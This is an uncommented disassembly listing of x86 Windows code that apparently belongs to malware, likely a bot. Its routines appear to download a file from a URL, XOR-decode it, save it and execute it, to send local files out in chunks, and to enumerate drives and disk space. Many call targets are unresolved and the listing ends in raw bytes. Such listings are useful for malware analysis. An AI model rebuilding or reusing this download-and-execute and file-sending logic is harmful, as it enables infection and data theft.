		call	sub_409A72
		add	esp, 14h

loc_416147:				; CODE XREF: ___:00416125j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4D08BC

loc_41615F:				; CODE XREF: ___:00416156j
		push	dword ptr [ebp-1F8h]
		call	dword_4D08BC
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop

loc_41617B:				; CODE XREF: ___:004160C9j
					; ___:004160D4j
		push	esi
		mov	esi, offset dword_43CD88
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4D08BC
		push	dword ptr [ebp-58h]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop

loc_4161BC:				; DATA XREF: sub_401ACD+7B4o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		nop
		call	near ptr 2670A44h
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_42ED6C
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 270087Fh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_43CF04
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_416246:				; CODE XREF: ___:0041623Dj
		push	eax
		call	near ptr 26608ABh
		nop
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_41626E
		push	offset unk_43CED4
		jmp	short loc_41628C
; ---------------------------------------------------------------------------

loc_41626E:				; CODE XREF: ___:00416265j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41629F
		push	offset unk_43CEB4

loc_41628C:				; CODE XREF: ___:00416244j
					; ___:0041626Cj
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------

loc_41629F:				; CODE XREF: ___:00416285j
		mov	esi, 1000h

loc_4162A4:				; CODE XREF: ___:0041630Aj
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D083C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4D0820
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0874
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------

loc_41630C:				; CODE XREF: ___:004162D4j
		lea	eax, [ebp-4C4h]
		push	offset dword_43CD88
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-4]
		call	sub_41B05B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4D08BC
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	1
		call	near ptr 26E0000h
		nop

loc_41636B:				; CODE XREF: ___:004162CBj
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_43CE88
		push	eax
		call	sub_41B886
		add	esp, 14h

loc_41639B:				; CODE XREF: ___:0041629Aj
		cmp	[ebp-14h], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409A72
		add	esp, 14h

loc_4163C0:				; CODE XREF: ___:0041639Ej
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4151AC
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	dword ptr [ebp-4]
		call	sub_41B05B
		pop	ecx

loc_4163DB:				; CODE XREF: ___:004163D0j
		cmp	[ebp+8], ebx
		jbe	short loc_4163E9
		push	dword ptr [ebp+8]
		call	dword_4D08BC

loc_4163E9:				; CODE XREF: ___:004163DEj
		push	dword ptr [ebp-1Ch]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h

loc_4163F9:				; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4D07D4
		call	dword_4D0728
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 270087Fh
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_4164C0
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43D0D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4164A3:				; CODE XREF: ___:00416481j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop

loc_4164C0:				; CODE XREF: ___:00416461j
		xor	edi, edi
		call	near ptr 26907CFh
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp-1Ch], eax

loc_4164DA:				; CODE XREF: ___:004165ADj
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4D0730
		cmp	[ebp-34h], esi
		jz	short loc_41651E
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx

loc_41651E:				; CODE XREF: ___:0041650Bj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 26F0000h
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416546
		mov	eax, [ebp+8]

loc_416546:				; CODE XREF: ___:00416541j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch

loc_41655C:				; CODE XREF: ___:00416538j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416569
		cmp	edi, [ebp-3Ch]
		ja	short loc_4165B3

loc_416569:				; CODE XREF: ___:00416562j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43D0A8
		jmp	short loc_416593
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: ___:0041656Fj
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43D080

loc_416593:				; CODE XREF: ___:00416581j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_443560
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_4164DA

loc_4165B3:				; CODE XREF: ___:00416567j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416608
		cmp	edi, [ebp-3Ch]
		jz	short loc_416608
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43D054
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416608:				; CODE XREF: ___:004165BDj
					; ___:004165C2j
		call	near ptr 26907CFh
		nop
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 26608ABh
		push	dword ptr [ebp-1Ch]
		call	sub_41B0B1
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416692
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43D02C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_416692:				; CODE XREF: ___:0041663Aj
					; ___:0041664Cj
		cmp	[ebp-14h], esi
		jz	loc_4168D2
		cmp	dword ptr [ebp-44h], 1
		jz	loc_41678D
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43CFF4
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_41670D:				; CODE XREF: ___:004166EBj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4D0790
		cmp	[ebp-30h], esi
		jnz	loc_4168D2
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_43CFD8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------

loc_41678D:				; CODE XREF: ___:0041669Fj
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_4276B0
		fstp	qword ptr [esp]
		push	offset unk_43CF94
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4167F5:				; CODE XREF: ___:004167D3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset dword_4429D8
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 2660C2Fh
		nop
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4D077C
		call	sub_418359
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_416877:				; CODE XREF: ___:00416863j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_43CF60
		jmp	short loc_416891
; ---------------------------------------------------------------------------

loc_416885:				; CODE XREF: ___:0041643Ej
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43CF34

loc_416891:				; CODE XREF: ___:00416883j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409A72
		add	esp, 14h

loc_4168C5:				; CODE XREF: ___:004168A3j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4168D2:				; CODE XREF: ___:00416695j
					; ___:0041671Ej ...
		push	dword ptr [ebp-18h]
		call	dword_4D0858
		push	dword ptr [ebp-48h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: ___:00416517p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907

loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D8458
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------

loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi

loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------

loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4D0884
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_43D124
		retn
; ---------------------------------------------------------------------------

loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_43D120
		retn
; ---------------------------------------------------------------------------

loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4D0714
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------

loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_416B42:				; CODE XREF: sub_416A32+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416A32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B56	proc near		; CODE XREF: sub_416C28+17p
					; sub_416C28+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41C070
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416BC9
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_43D174
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_416BFD
; ---------------------------------------------------------------------------

loc_416BC9:				; CODE XREF: sub_416B56+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4169A1
		pop	ecx
		push	eax
		push	offset unk_43D138
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 20h

loc_416BFD:				; CODE XREF: sub_416B56+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C28	proc near		; CODE XREF: sub_401ACD+2553p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416C49
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h
		jmp	short loc_416CAA
; ---------------------------------------------------------------------------

loc_416C49:				; CODE XREF: sub_416C28+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4D078C
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4D078C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset off_43D1B0
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 0D1D46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 0D1B468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2C923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 1868FFFFh
		dd 560043D2h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
